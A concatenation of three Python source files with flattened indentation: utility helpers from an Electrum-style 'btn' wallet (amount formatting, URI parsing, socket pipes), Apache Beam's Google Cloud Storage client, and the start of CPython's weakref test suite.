"""
if isinstance(something, bytes):
return something
if isinstance(something, str):
return something.encode(encoding)
elif isinstance(something, bytearray):
return bytes(something)
else:
raise TypeError("Not a string or bytes like object")
bfh = bytes.fromhex
hfu = binascii.hexlify
def bh2u(x):
"""
str with hex representation of a bytes-like object
>>> x = bytes((1, 2, 10))
>>> bh2u(x)
'01020A'
:param x: bytes
:rtype: str
"""
return hfu(x).decode('ascii')
def user_dir():
if 'ANDROID_DATA' in os.environ:
return android_check_data_dir()
elif os.name == 'posix':
return os.path.join(os.environ["HOME"], ".btn-electrum")
elif "APPDATA" in os.environ:
return os.path.join(os.environ["APPDATA"], "Btn-Electrum")
elif "LOCALAPPDATA" in os.environ:
return os.path.join(os.environ["LOCALAPPDATA"], "Btn-Electrum")
else:
#raise Exception("No home directory found in environment variables.")
return
def format_satoshis_plain(x, decimal_point = 8):
"""Display a satoshi amount scaled. Always uses a '.' as a decimal
point and has no thousands separator"""
scale_factor = pow(10, decimal_point)
return "{:.8f}".format(Decimal(x) / scale_factor).rstrip('0').rstrip('.')
def format_satoshis(x, num_zeros=0, decimal_point=8, precision=None, is_diff=False, whitespaces=False):
from locale import localeconv
if x is None:
return 'unknown'
if precision is None:
precision = decimal_point
decimal_format = ".0" + str(precision) if precision > 0 else ""
if is_diff:
decimal_format = '+' + decimal_format
result = ("{:" + decimal_format + "f}").format(x / pow (10, decimal_point)).rstrip('0')
integer_part, fract_part = result.split(".")
dp = localeconv()['decimal_point']
if len(fract_part) < num_zeros:
fract_part += "0" * (num_zeros - len(fract_part))
result = integer_part + dp + fract_part
if whitespaces:
result += " " * (decimal_point - len(fract_part))
result = " " * (15 - len(result)) + result
return result
FEERATE_PRECISION = 1 # num fractional decimal places for sat/byte fee rates
_feerate_quanta = Decimal(10) ** (-FEERATE_PRECISION)
def format_fee_satoshis(fee, num_zeros=0):
return format_satoshis(fee, num_zeros, 0, precision=FEERATE_PRECISION)
def timestamp_to_datetime(timestamp):
if timestamp is None:
return None
try:
return datetime.fromtimestamp(timestamp)
except:
return None
def format_time(timestamp):
date = timestamp_to_datetime(timestamp)
return date.isoformat(' ')[:-3] if date else _("Unknown")
# Takes a timestamp and returns a string with the approximation of the age
def age(from_date, since_date = None, target_tz=None, include_seconds=False):
if from_date is None:
return "Unknown"
from_date = datetime.fromtimestamp(from_date)
if since_date is None:
since_date = datetime.now(target_tz)
td = time_difference(from_date - since_date, include_seconds)
return td + " ago" if from_date < since_date else "in " + td
def time_difference(distance_in_time, include_seconds):
#distance_in_time = since_date - from_date
distance_in_seconds = int(round(abs(distance_in_time.days * 86400 + distance_in_time.seconds)))
distance_in_minutes = int(round(distance_in_seconds/60))
if distance_in_minutes <= 1:
if include_seconds:
for remainder in [5, 10, 20]:
if distance_in_seconds < remainder:
return "less than %s seconds" % remainder
if distance_in_seconds < 40:
return "half a minute"
elif distance_in_seconds < 60:
return "less than a minute"
else:
return "1 minute"
else:
if distance_in_minutes == 0:
return "less than a minute"
else:
return "1 minute"
elif distance_in_minutes < 45:
return "%s minutes" % distance_in_minutes
elif distance_in_minutes < 90:
return "about 1 hour"
elif distance_in_minutes < 1440:
return "about %d hours" % (round(distance_in_minutes / 60.0))
elif distance_in_minutes < 2880:
return "1 day"
elif distance_in_minutes < 43220:
return "%d days" % (round(distance_in_minutes / 1440))
elif distance_in_minutes < 86400:
return "about 1 month"
elif distance_in_minutes < 525600:
return "%d months" % (round(distance_in_minutes / 43200))
elif distance_in_minutes < 1051200:
return "about 1 year"
else:
return "over %d years" % (round(distance_in_minutes / 525600))
def block_explorer_info():
from . import constants
from .btn import testnet_block_explorers, mainnet_block_explorers
if constants.net.TESTNET:
return testnet_block_explorers
else:
return mainnet_block_explorers
def block_explorer(config):
bbb = config.get('block_explorer', 'explorer.btn.org')
return bbb
def block_explorer_tuple(config):
return block_explorer_info().get(block_explorer(config))
def block_explorer_URL(config, params):
"""
:param config:
:type params: dict
:return: str
"""
be_tuple = block_explorer_tuple(config)
if not be_tuple:
return
if params.get('token'):
if 'btn.org' in be_tuple[0]:
return "{}/token/{}?a={}".format(be_tuple[0], params.get('token'), params.get('addr'))
url_parts = [be_tuple[0], ]
for k, v in params.items():
kind_str = be_tuple[1].get(k)
if not kind_str:
continue
url_parts.append(kind_str)
url_parts.append(v)
return "/".join(url_parts)
# URL decode
#_ud = re.compile('%([0-9a-hA-H]{2})', re.MULTILINE)
#urldecode = lambda x: _ud.sub(lambda m: chr(int(m.group(1), 16)), x)
def parse_URI(uri, on_pr=None):
from . import bitcoin
from .bitcoin import COIN
if ':' not in uri:
if not bitcoin.is_address(uri):
raise Exception("Not a btn address")
return {'address': uri}
u = urllib.parse.urlparse(uri)
if u.scheme != 'btn':
raise Exception("Not a btn URI")
address = u.path
# python for android fails to parse query
if address.find('?') > 0:
address, query = u.path.split('?')
pq = urllib.parse.parse_qs(query)
else:
pq = urllib.parse.parse_qs(u.query)
for k, v in pq.items():
if len(v)!=1:
raise Exception('Duplicate Key', k)
out = {k: v[0] for k, v in pq.items()}
if address:
if not bitcoin.is_address(address):
raise Exception("Invalid btn address:" + address)
out['address'] = address
if 'amount' in out:
am = out['amount']
m = re.match('([0-9\.]+)X([0-9])', am)
if m:
k = int(m.group(2)) - 8
amount = Decimal(m.group(1)) * pow( Decimal(10) , k)
else:
amount = Decimal(am) * COIN
out['amount'] = int(amount)
if 'message' in out:
out['message'] = out['message']
out['memo'] = out['message']
if 'time' in out:
out['time'] = int(out['time'])
if 'exp' in out:
out['exp'] = int(out['exp'])
if 'sig' in out:
out['sig'] = bh2u(bitcoin.base_decode(out['sig'], None, base=58))
r = out.get('r')
sig = out.get('sig')
name = out.get('name')
if on_pr and (r or (name and sig)):
def get_payment_request_thread():
from . import paymentrequest as pr
if name and sig:
s = pr.serialize_request(out).SerializeToString()
request = pr.PaymentRequest(s)
else:
request = pr.get_payment_request(r)
if on_pr:
on_pr(request)
t = threading.Thread(target=get_payment_request_thread)
t.setDaemon(True)
t.start()
return out
def create_URI(addr, amount, message):
from . import bitcoin
if not bitcoin.is_address(addr):
return ""
query = []
if amount:
query.append('amount=%s'%format_satoshis_plain(amount))
if message:
query.append('message=%s'%urllib.parse.quote(message))
p = urllib.parse.ParseResult(scheme='btn', netloc='', path=addr, params='', query='&'.join(query), fragment='')
return urllib.parse.urlunparse(p)
# Python bug (http://bugs.python.org/issue1927) causes raw_input
# to be redirected improperly between stdin/stderr on Unix systems
#TODO: py3
def raw_input(prompt=None):
if prompt:
sys.stdout.write(prompt)
return builtin_raw_input()
import builtins
builtin_raw_input = builtins.input
builtins.input = raw_input
def parse_json(message):
# TODO: check \r\n pattern
n = message.find(b'\n')
if n==-1:
return None, message
try:
j = json.loads(message[0:n].decode('utf8'))
except:
j = None
return j, message[n+1:]
class timeout(Exception):
pass
import socket
import errno
import json
import ssl
import time
class SocketPipe:
def __init__(self, socket):
self.socket = socket
self.message = b''
self.set_timeout(0.1)
self.recv_time = time.time()
def set_timeout(self, t):
self.socket.settimeout(t)
def idle_time(self):
return time.time() - self.recv_time
def get(self):
while True:
response, self.message = parse_json(self.message)
if response is not None:
return response
try:
data = self.socket.recv(1024)
except socket.timeout:
raise timeout
except ssl.SSLError:
raise timeout
except socket.error as err:
if err.errno == 60:
raise timeout
elif err.errno in [11, 35, 10035]:
# print_error("socket errno %d (resource temporarily unavailable)"% err.errno)
time.sleep(0.2)
raise timeout
else:
print_error("pipe: socket error", err)
data = b''
except:
traceback.print_exc(file=sys.stderr)
data = b''
if not data: # Connection closed remotely
return None
self.message += data
self.recv_time = time.time()
def send(self, request):
out = json.dumps(request) + '\n'
out = out.encode('utf8')
self._send(out)
def send_all(self, requests):
out = b''.join(map(lambda x: (json.dumps(x) + '\n').encode('utf8'), requests))
self._send(out)
def _send(self, out):
while out:
try:
sent = self.socket.send(out)
out = out[sent:]
except ssl.SSLError as e:
print_error("SSLError:", e)
time.sleep(0.1)
continue
class QueuePipe:
def __init__(self, send_queue=None, get_queue=None):
self.send_queue = send_queue if send_queue else queue.Queue()
self.get_queue = get_queue if get_queue else queue.Queue()
self.set_timeout(0.1)
def get(self):
try:
return self.get_queue.get(timeout=self.timeout)
except queue.Empty:
raise timeout
def get_all(self):
responses = []
while True:
try:
r = self.get_queue.get_nowait()
responses.append(r)
except queue.Empty:
break
return responses
def set_timeout(self, t):
self.timeout = t
def send(self, request):
self.send_queue.put(request)
def send_all(self, requests):
for request in requests:
self.send(request)
def versiontuple(v):
return tuple(map(int, (v.split("."))))
def import_meta(path, validater, load_meta):
try:
with open(path, 'r', encoding='utf-8') as f:
d = validater(json.loads(f.read()))
load_meta(d)
# backwards compatibility for JSONDecodeError
except ValueError:
traceback.print_exc(file=sys.stderr)
raise FileImportFailed(_("Invalid JSON code."))
except BaseException as e:
traceback.print_exc(file=sys.stdout)
raise FileImportFailed(e)
def export_meta(meta, file_name):
try:
with open(file_name, 'w+', encoding='utf-8') as f:
json.dump(meta, f, indent=4, sort_keys=True)
except (IOError, os.error) as e:
traceback.print_exc(file=sys.stderr)
raise FileExportFailed(e)
def open_browser(url, new=0, autoraise=True):
for name in webbrowser._tryorder:
if name == 'MacOSX':
continue
browser = webbrowser.get(name)
if browser.open(url, new, autoraise):
return True
return False
def make_dir(path, allow_symlink=True):
"""Make directory if it does not yet exist."""
if not os.path.exists(path):
if not allow_symlink and os.path.islink(path):
raise Exception('Dangling link: ' + path)
os.mkdir(path)
os.chmod(path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR)
|
gcsio.py
|
#
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
"""Google Cloud Storage client.
This library evolved from the Google App Engine GCS client available at
https://github.com/GoogleCloudPlatform/appengine-gcs-client.
"""
from __future__ import absolute_import
import errno
import io
import logging
import multiprocessing
import re
import sys
import threading
import time
import traceback
from builtins import object
from apache_beam.internal.http_client import get_new_http
from apache_beam.io.filesystemio import Downloader
from apache_beam.io.filesystemio import DownloaderStream
from apache_beam.io.filesystemio import PipeStream
from apache_beam.io.filesystemio import Uploader
from apache_beam.io.filesystemio import UploaderStream
from apache_beam.utils import retry
__all__ = ['GcsIO']
# Issue a friendlier error message if the storage library is not available.
# TODO(silviuc): Remove this guard when storage is available everywhere.
try:
# pylint: disable=wrong-import-order, wrong-import-position
# pylint: disable=ungrouped-imports
import apitools.base.py.transfer as transfer
from apitools.base.py.batch import BatchApiRequest
from apitools.base.py.exceptions import HttpError
from apache_beam.internal.gcp import auth
from apache_beam.io.gcp.internal.clients import storage
except ImportError:
raise ImportError(
'Google Cloud Storage I/O not supported for this execution environment '
'(could not import storage API client).')
# This is the size of each partial-file read operation from GCS. This
# parameter was chosen to give good throughput while keeping memory usage at
# a reasonable level; the following table shows throughput reached when
# reading files of a given size with a chosen buffer size and informed the
# choice of the value, as of 11/2016:
#
# +---------------+------------+-------------+-------------+-------------+
# | | 50 MB file | 100 MB file | 200 MB file | 400 MB file |
# +---------------+------------+-------------+-------------+-------------+
# | 8 MB buffer | 17.12 MB/s | 22.67 MB/s | 23.81 MB/s | 26.05 MB/s |
# | 16 MB buffer | 24.21 MB/s | 42.70 MB/s | 42.89 MB/s | 46.92 MB/s |
# | 32 MB buffer | 28.53 MB/s | 48.08 MB/s | 54.30 MB/s | 54.65 MB/s |
# | 400 MB buffer | 34.72 MB/s | 71.13 MB/s | 79.13 MB/s | 85.39 MB/s |
# +---------------+------------+-------------+-------------+-------------+
DEFAULT_READ_BUFFER_SIZE = 16 * 1024 * 1024
# This is the number of seconds the library will wait for a partial-file read
# operation from GCS to complete before retrying.
DEFAULT_READ_SEGMENT_TIMEOUT_SECONDS = 60
# This is the size of chunks used when writing to GCS.
WRITE_CHUNK_SIZE = 8 * 1024 * 1024
# Maximum number of operations permitted in GcsIO.copy_batch() and
# GcsIO.delete_batch().
MAX_BATCH_OPERATION_SIZE = 100
# Batch endpoint URL for GCS.
# We have to specify an API specific endpoint here since Google APIs global
# batch endpoints will be deprecated on 03/25/2019.
# See https://developers.googleblog.com/2018/03/discontinuing-support-for-json-rpc-and.html. # pylint: disable=line-too-long
# Currently apitools library uses a global batch endpoint by default:
# https://github.com/google/apitools/blob/master/apitools/base/py/batch.py#L152
# TODO: remove this constant and it's usage after apitools move to using an API
# specific batch endpoint or after Beam gcsio module start using a GCS client
# library that does not use global batch endpoints.
GCS_BATCH_ENDPOINT = 'https://www.googleapis.com/batch/storage/v1'
def parse_gcs_path(gcs_path, object_optional=False):
"""Return the bucket and object names of the given gs:// path."""
match = re.match('^gs://([^/]+)/(.*)$', gcs_path)
if match is None or (match.group(2) == '' and not object_optional):
raise ValueError('GCS path must be in the form gs://<bucket>/<object>.')
return match.group(1), match.group(2)
class GcsIOError(IOError, retry.PermanentException):
"""GCS IO error that should not be retried."""
pass
class GcsIO(object):
"""Google Cloud Storage I/O client."""
def __init__(self, storage_client=None):
if storage_client is None:
storage_client = storage.StorageV1(
credentials=auth.get_service_credentials(),
get_credentials=False,
http=get_new_http(),
response_encoding=None if sys.version_info[0] < 3 else 'utf8')
self.client = storage_client
self._rewrite_cb = None
def _set_rewrite_response_callback(self, callback):
"""For testing purposes only. No backward compatibility guarantees.
Args:
callback: A function that receives ``storage.RewriteResponse``.
"""
self._rewrite_cb = callback
def open(self,
filename,
mode='r',
read_buffer_size=DEFAULT_READ_BUFFER_SIZE,
mime_type='application/octet-stream'):
"""Open a GCS file path for reading or writing.
Args:
filename (str): GCS file path in the form ``gs://<bucket>/<object>``.
mode (str): ``'r'`` for reading or ``'w'`` for writing.
read_buffer_size (int): Buffer size to use during read operations.
mime_type (str): Mime type to set for write operations.
Returns:
GCS file object.
Raises:
~exceptions.ValueError: Invalid open file mode.
"""
if mode == 'r' or mode == 'rb':
downloader = GcsDownloader(self.client, filename,
buffer_size=read_buffer_size)
return io.BufferedReader(DownloaderStream(downloader, read_buffer_size=read_buffer_size, mode=mode),
buffer_size=read_buffer_size)
elif mode == 'w' or mode == 'wb':
uploader = GcsUploader(self.client, filename, mime_type)
return io.BufferedWriter(UploaderStream(uploader, mode=mode),
buffer_size=128 * 1024)
else:
raise ValueError('Invalid file open mode: %s.' % mode)
@retry.with_exponential_backoff(
retry_filter=retry.retry_on_server_errors_and_timeout_filter)
def delete(self, path):
"""Deletes the object at the given GCS path.
Args:
path: GCS file path pattern in the form gs://<bucket>/<name>.
"""
bucket, object_path = parse_gcs_path(path)
request = storage.StorageObjectsDeleteRequest(
bucket=bucket, object=object_path)
try:
self.client.objects.Delete(request)
except HttpError as http_error:
if http_error.status_code == 404:
# Return success when the file doesn't exist anymore for idempotency.
return
raise
# We intentionally do not decorate this method with a retry, as retrying is
# handled in BatchApiRequest.Execute().
def delete_batch(self, paths):
"""Deletes the objects at the given GCS paths.
Args:
paths: List of GCS file path patterns in the form gs://<bucket>/<name>,
not to exceed MAX_BATCH_OPERATION_SIZE in length.
Returns: List of tuples of (path, exception) in the same order as the paths
argument, where exception is None if the operation succeeded or
the relevant exception if the operation failed.
"""
if not paths:
return []
batch_request = BatchApiRequest(
batch_url=GCS_BATCH_ENDPOINT,
retryable_codes=retry.SERVER_ERROR_OR_TIMEOUT_CODES,
response_encoding='utf-8')
for path in paths:
bucket, object_path = parse_gcs_path(path)
request = storage.StorageObjectsDeleteRequest(
bucket=bucket, object=object_path)
batch_request.Add(self.client.objects, 'Delete', request)
api_calls = batch_request.Execute(self.client._http) # pylint: disable=protected-access
result_statuses = []
for i, api_call in enumerate(api_calls):
path = paths[i]
exception = None
if api_call.is_error:
exception = api_call.exception
# Return success when the file doesn't exist anymore for idempotency.
if isinstance(exception, HttpError) and exception.status_code == 404:
exception = None
result_statuses.append((path, exception))
return result_statuses
@retry.with_exponential_backoff(
retry_filter=retry.retry_on_server_errors_and_timeout_filter)
def copy(self, src, dest, dest_kms_key_name=None,
max_bytes_rewritten_per_call=None):
"""Copies the given GCS object from src to dest.
Args:
src: GCS file path pattern in the form gs://<bucket>/<name>.
dest: GCS file path pattern in the form gs://<bucket>/<name>.
dest_kms_key_name: Experimental. No backwards compatibility guarantees.
Encrypt dest with this Cloud KMS key. If None, will use dest bucket
encryption defaults.
max_bytes_rewritten_per_call: Experimental. No backwards compatibility
guarantees. Each rewrite API call will return after these many bytes.
Used for testing.
Raises:
TimeoutError on timeout.
"""
src_bucket, src_path = parse_gcs_path(src)
dest_bucket, dest_path = parse_gcs_path(dest)
request = storage.StorageObjectsRewriteRequest(
sourceBucket=src_bucket,
sourceObject=src_path,
destinationBucket=dest_bucket,
destinationObject=dest_path,
destinationKmsKeyName=dest_kms_key_name,
maxBytesRewrittenPerCall=max_bytes_rewritten_per_call)
response = self.client.objects.Rewrite(request)
while not response.done:
logging.debug(
'Rewrite progress: %d of %d bytes, %s to %s',
response.totalBytesRewritten, response.objectSize, src, dest)
request.rewriteToken = response.rewriteToken
response = self.client.objects.Rewrite(request)
if self._rewrite_cb is not None:
self._rewrite_cb(response)
logging.debug('Rewrite done: %s to %s', src, dest)
# We intentionally do not decorate this method with a retry, as retrying is
# handled in BatchApiRequest.Execute().
def copy_batch(self, src_dest_pairs, dest_kms_key_name=None,
max_bytes_rewritten_per_call=None):
"""Copies the given GCS object from src to dest.
Args:
src_dest_pairs: list of (src, dest) tuples of gs://<bucket>/<name> files
paths to copy from src to dest, not to exceed
MAX_BATCH_OPERATION_SIZE in length.
dest_kms_key_name: Experimental. No backwards compatibility guarantees.
Encrypt dest with this Cloud KMS key. If None, will use dest bucket
encryption defaults.
max_bytes_rewritten_per_call: Experimental. No backwards compatibility
guarantees. Each rewrite call will return after these many bytes. Used
primarily for testing.
Returns: List of tuples of (src, dest, exception) in the same order as the
src_dest_pairs argument, where exception is None if the operation
succeeded or the relevant exception if the operation failed.
"""
if not src_dest_pairs:
return []
pair_to_request = {}
for pair in src_dest_pairs:
src_bucket, src_path = parse_gcs_path(pair[0])
dest_bucket, dest_path = parse_gcs_path(pair[1])
request = storage.StorageObjectsRewriteRequest(
sourceBucket=src_bucket,
sourceObject=src_path,
destinationBucket=dest_bucket,
destinationObject=dest_path,
destinationKmsKeyName=dest_kms_key_name,
maxBytesRewrittenPerCall=max_bytes_rewritten_per_call)
pair_to_request[pair] = request
pair_to_status = {}
while True:
pairs_in_batch = list(set(src_dest_pairs) - set(pair_to_status))
if not pairs_in_batch:
break
batch_request = BatchApiRequest(
batch_url=GCS_BATCH_ENDPOINT,
retryable_codes=retry.SERVER_ERROR_OR_TIMEOUT_CODES,
response_encoding='utf-8')
for pair in pairs_in_batch:
batch_request.Add(self.client.objects, 'Rewrite', pair_to_request[pair])
api_calls = batch_request.Execute(self.client._http) # pylint: disable=protected-access
for pair, api_call in zip(pairs_in_batch, api_calls):
src, dest = pair
response = api_call.response
if self._rewrite_cb is not None:
self._rewrite_cb(response)
if api_call.is_error:
exception = api_call.exception
# Translate 404 to the appropriate not found exception.
if isinstance(exception, HttpError) and exception.status_code == 404:
exception = (
GcsIOError(errno.ENOENT, 'Source file not found: %s' % src))
pair_to_status[pair] = exception
elif not response.done:
logging.debug(
'Rewrite progress: %d of %d bytes, %s to %s',
response.totalBytesRewritten, response.objectSize, src, dest)
pair_to_request[pair].rewriteToken = response.rewriteToken
else:
logging.debug('Rewrite done: %s to %s', src, dest)
pair_to_status[pair] = None
return [(pair[0], pair[1], pair_to_status[pair]) for pair in src_dest_pairs]
# We intentionally do not decorate this method with a retry, since the
# underlying copy and delete operations are already idempotent operations
# protected by retry decorators.
def copytree(self, src, dest):
"""Renames the given GCS "directory" recursively from src to dest.
Args:
src: GCS file path pattern in the form gs://<bucket>/<name>/.
dest: GCS file path pattern in the form gs://<bucket>/<name>/.
"""
assert src.endswith('/')
assert dest.endswith('/')
for entry in self.list_prefix(src):
rel_path = entry[len(src):]
self.copy(entry, dest + rel_path)
# We intentionally do not decorate this method with a retry, since the
# underlying copy and delete operations are already idempotent operations
# protected by retry decorators.
def rename(self, src, dest):
"""Renames the given GCS object from src to dest.
Args:
src: GCS file path pattern in the form gs://<bucket>/<name>.
dest: GCS file path pattern in the form gs://<bucket>/<name>.
"""
self.copy(src, dest)
self.delete(src)
@retry.with_exponential_backoff(
retry_filter=retry.retry_on_server_errors_and_timeout_filter)
def exists(self, path):
"""Returns whether the given GCS object exists.
Args:
path: GCS file path pattern in the form gs://<bucket>/<name>.
"""
bucket, object_path = parse_gcs_path(path)
try:
request = storage.StorageObjectsGetRequest(
bucket=bucket, object=object_path)
self.client.objects.Get(request) # metadata
return True
except HttpError as http_error:
if http_error.status_code == 404:
# HTTP 404 indicates that the file did not exist
return False
else:
# We re-raise all other exceptions
raise
@retry.with_exponential_backoff(
retry_filter=retry.retry_on_server_errors_and_timeout_filter)
def checksum(self, path):
"""Looks up the checksum of a GCS object.
Args:
path: GCS file path pattern in the form gs://<bucket>/<name>.
"""
bucket, object_path = parse_gcs_path(path)
request = storage.StorageObjectsGetRequest(
bucket=bucket, object=object_path)
return self.client.objects.Get(request).crc32c
@retry.with_exponential_backoff(
retry_filter=retry.retry_on_server_errors_and_timeout_filter)
def size(self, path):
"""Returns the size of a single GCS object.
This method does not perform glob expansion. Hence the given path must be
for a single GCS object.
Returns: size of the GCS object in bytes.
"""
bucket, object_path = parse_gcs_path(path)
request = storage.StorageObjectsGetRequest(
bucket=bucket, object=object_path)
return self.client.objects.Get(request).size
@retry.with_exponential_backoff(
retry_filter=retry.retry_on_server_errors_and_timeout_filter)
def kms_key(self, path):
"""Returns the KMS key of a single GCS object.
This method does not perform glob expansion. Hence the given path must be
for a single GCS object.
Returns: KMS key name of the GCS object as a string, or None if it doesn't
have one.
"""
bucket, object_path = parse_gcs_path(path)
request = storage.StorageObjectsGetRequest(
bucket=bucket, object=object_path)
return self.client.objects.Get(request).kmsKeyName
@retry.with_exponential_backoff(
retry_filter=retry.retry_on_server_errors_and_timeout_filter)
def last_updated(self, path):
"""Returns the last updated epoch time of a single GCS object.
This method does not perform glob expansion. Hence the given path must be
for a single GCS object.
Returns: last updated time of the GCS object in second.
"""
bucket, object_path = parse_gcs_path(path)
request = storage.StorageObjectsGetRequest(
bucket=bucket, object=object_path)
datetime = self.client.objects.Get(request).updated
return (time.mktime(datetime.timetuple()) - time.timezone
+ datetime.microsecond / 1000000.0)
@retry.with_exponential_backoff(
retry_filter=retry.retry_on_server_errors_and_timeout_filter)
def list_prefix(self, path):
"""Lists files matching the prefix.
Args:
path: GCS file path pattern in the form gs://<bucket>/[name].
Returns:
Dictionary of file name -> size.
"""
bucket, prefix = parse_gcs_path(path, object_optional=True)
request = storage.StorageObjectsListRequest(bucket=bucket, prefix=prefix)
file_sizes = {}
counter = 0
start_time = time.time()
logging.info("Starting the size estimation of the input")
while True:
response = self.client.objects.List(request)
for item in response.items:
file_name = 'gs://%s/%s' % (item.bucket, item.name)
file_sizes[file_name] = item.size
counter += 1
if counter % 10000 == 0:
logging.info("Finished computing size of: %s files", len(file_sizes))
if response.nextPageToken:
request.pageToken = response.nextPageToken
else:
break
logging.info("Finished listing %s files in %s seconds.",
counter, time.time() - start_time)
return file_sizes
class GcsDownloader(Downloader):
def __init__(self, client, path, buffer_size):
self._client = client
self._path = path
self._bucket, self._name = parse_gcs_path(path)
self._buffer_size = buffer_size
# Get object state.
self._get_request = (storage.StorageObjectsGetRequest(
bucket=self._bucket, object=self._name))
try:
metadata = self._get_object_metadata(self._get_request)
except HttpError as http_error:
if http_error.status_code == 404:
raise IOError(errno.ENOENT, 'Not found: %s' % self._path)
else:
logging.error('HTTP error while requesting file %s: %s', self._path,
http_error)
raise
self._size = metadata.size
# Ensure read is from file of the correct generation.
self._get_request.generation = metadata.generation
# Initialize read buffer state.
self._download_stream = io.BytesIO()
self._downloader = transfer.Download(
self._download_stream, auto_transfer=False, chunksize=self._buffer_size,
num_retries=20)
self._client.objects.Get(self._get_request, download=self._downloader)
@retry.with_exponential_backoff(
retry_filter=retry.retry_on_server_errors_and_timeout_filter)
def _get_object_metadata(self, get_request):
return self._client.objects.Get(get_request)
@property
def size(self):
return self._size
def get_range(self, start, end):
self._download_stream.seek(0)
self._download_stream.truncate(0)
self._downloader.GetRange(start, end - 1)
return self._download_stream.getvalue()
class GcsUploader(Uploader):
def __init__(self, client, path, mime_type):
self._client = client
self._path = path
self._bucket, self._name = parse_gcs_path(path)
self._mime_type = mime_type
# Set up communication with child thread.
parent_conn, child_conn = multiprocessing.Pipe()
self._child_conn = child_conn
self._conn = parent_conn
# Set up uploader.
self._insert_request = (storage.StorageObjectsInsertRequest(
bucket=self._bucket, name=self._name))
self._upload = transfer.Upload(
PipeStream(self._child_conn),
self._mime_type,
chunksize=WRITE_CHUNK_SIZE)
self._upload.strategy = transfer.RESUMABLE_UPLOAD
# Start uploading thread.
self._upload_thread = threading.Thread(target=self._start_upload)
self._upload_thread.daemon = True
self._upload_thread.last_error = None
self._upload_thread.start()
# TODO(silviuc): Refactor so that retry logic can be applied.
# There is retry logic in the underlying transfer library but we should make
# it more explicit so we can control the retry parameters.
@retry.no_retries # Using no_retries marks this as an integration point.
def _start_upload(self):
# This starts the uploader thread. We are forced to run the uploader in
# another thread because the apitools uploader insists on taking a stream
# as input. Happily, this also means we get asynchronous I/O to GCS.
#
# The uploader by default transfers data in chunks of 1024 * 1024 bytes at
# a time, buffering writes until that size is reached.
try:
self._client.objects.Insert(self._insert_request, upload=self._upload)
except Exception as e: # pylint: disable=broad-except
logging.error('Error in _start_upload while inserting file %s: %s',
self._path, traceback.format_exc())
self._upload_thread.last_error = e
finally:
self._child_conn.close()
def put(self, data):
try:
self._conn.send_bytes(data.tobytes())
except EOFError:
if self._upload_thread.last_error is not None:
raise self._upload_thread.last_error # pylint: disable=raising-bad-type
raise
def finish(self):
self._conn.close()
# TODO(udim): Add timeout=DEFAULT_HTTP_TIMEOUT_SECONDS * 2 and raise if
# isAlive is True.
self._upload_thread.join()
# Check for exception since the last put() call.
if self._upload_thread.last_error is not None:
raise self._upload_thread.last_error # pylint: disable=raising-bad-type
|
test_weakref.py
|
import gc
import sys
import unittest
import collections
import weakref
import operator
import contextlib
import copy
import time
from test import support
from test.support import script_helper
# Used in ReferencesTestCase.test_ref_created_during_del() .
ref_from_del = None
# Used by FinalizeTestCase as a global that may be replaced by None
# when the interpreter shuts down.
_global_var = 'foobar'
class C:
def method(self):
pass
class Callable:
bar = None
def __call__(self, x):
self.bar = x
def create_function():
def f(): pass
return f
def create_bound_method():
return C().method
class Object:
def __init__(self, arg):
self.arg = arg
def __repr__(self):
return "<Object %r>" % self.arg
def __eq__(self, other):
if isinstance(other, Object):
return self.arg == other.arg
return NotImplemented
def __lt__(self, other):
if isinstance(other, Object):
return self.arg < other.arg
return NotImplemented
def __hash__(self):
return hash(self.arg)
def some_method(self):
return 4
def other_method(self):
return 5
class RefCycle:
def __init__(self):
self.cycle = self
class TestBase(unittest.TestCase):
def setUp(self):
self.cbcalled = 0
def callback(self, ref):
self.cbcalled += 1
@contextlib.contextmanager
def collect_in_thread(period=0.0001):
"""
Ensure GC collections happen in a different thread, at a high frequency.
"""
threading = support.import_module('threading')
please_stop = False
def collect():
while not please_stop:
time.sleep(period)
gc.collect()
with support.disable_gc():
t = threading.Thread(target=collect)
t.start()
try:
yield
finally:
please_stop = True
t.join()
class ReferencesTestCase(TestBase):
def test_basic_ref(self):
self.check_basic_ref(C)
self.check_basic_ref(create_function)
self.check_basic_ref(create_bound_method)
# Just make sure the tp_repr handler doesn't raise an exception.
# Live reference:
o = C()
wr = weakref.ref(o)
repr(wr)
# Dead reference:
del o
repr(wr)
def test_basic_callback(self):
self.check_basic_callback(C)
self.check_basic_callback(create_function)
self.check_basic_callback(create_bound_method)
@support.cpython_only
def test_cfunction(self):
import _testcapi
create_cfunction = _testcapi.create_cfunction
f = create_cfunction()
wr = weakref.ref(f)
self.assertIs(wr(), f)
del f
self.assertIsNone(wr())
self.check_basic_ref(create_cfunction)
self.check_basic_callback(create_cfunction)
def test_multiple_callbacks(self):
o = C()
ref1 = weakref.ref(o, self.callback)
ref2 = weakref.ref(o, self.callback)
del o
self.assertIsNone(ref1(), "expected reference to be invalidated")
self.assertIsNone(ref2(), "expected reference to be invalidated")
self.assertEqual(self.cbcalled, 2,
"callback not called the right number of times")
def test_multiple_selfref_callbacks(self):
# Make sure all references are invalidated before callbacks are called
#
# What's important here is that we're using the first
# reference in the callback invoked on the second reference
# (the most recently created ref is cleaned up first). This
# tests that all references to the object are invalidated
# before any of the callbacks are invoked, so that we only
# have one invocation of _weakref.c:cleanup_helper() active
# for a particular object at a time.
#
def callback(object, self=self):
self.ref()
c = C()
self.ref = weakref.ref(c, callback)
ref1 = weakref.ref(c, callback)
del c
def test_constructor_kwargs(self):
c = C()
self.assertRaises(TypeError, weakref.ref, c, callback=None)
def test_proxy_ref(self):
o = C()
o.bar = 1
ref1 = weakref.proxy(o, self.callback)
ref2 = weakref.proxy(o, self.callback)
del o
def check(proxy):
proxy.bar
self.assertRaises(ReferenceError, check, ref1)
self.assertRaises(ReferenceError, check, ref2)
self.assertRaises(ReferenceError, bool, weakref.proxy(C()))
self.assertEqual(self.cbcalled, 2)
def check_basic_ref(self, factory):
o = factory()
ref = weakref.ref(o)
self.assertIsNotNone(ref(),
"weak reference to live object should be live")
o2 = ref()
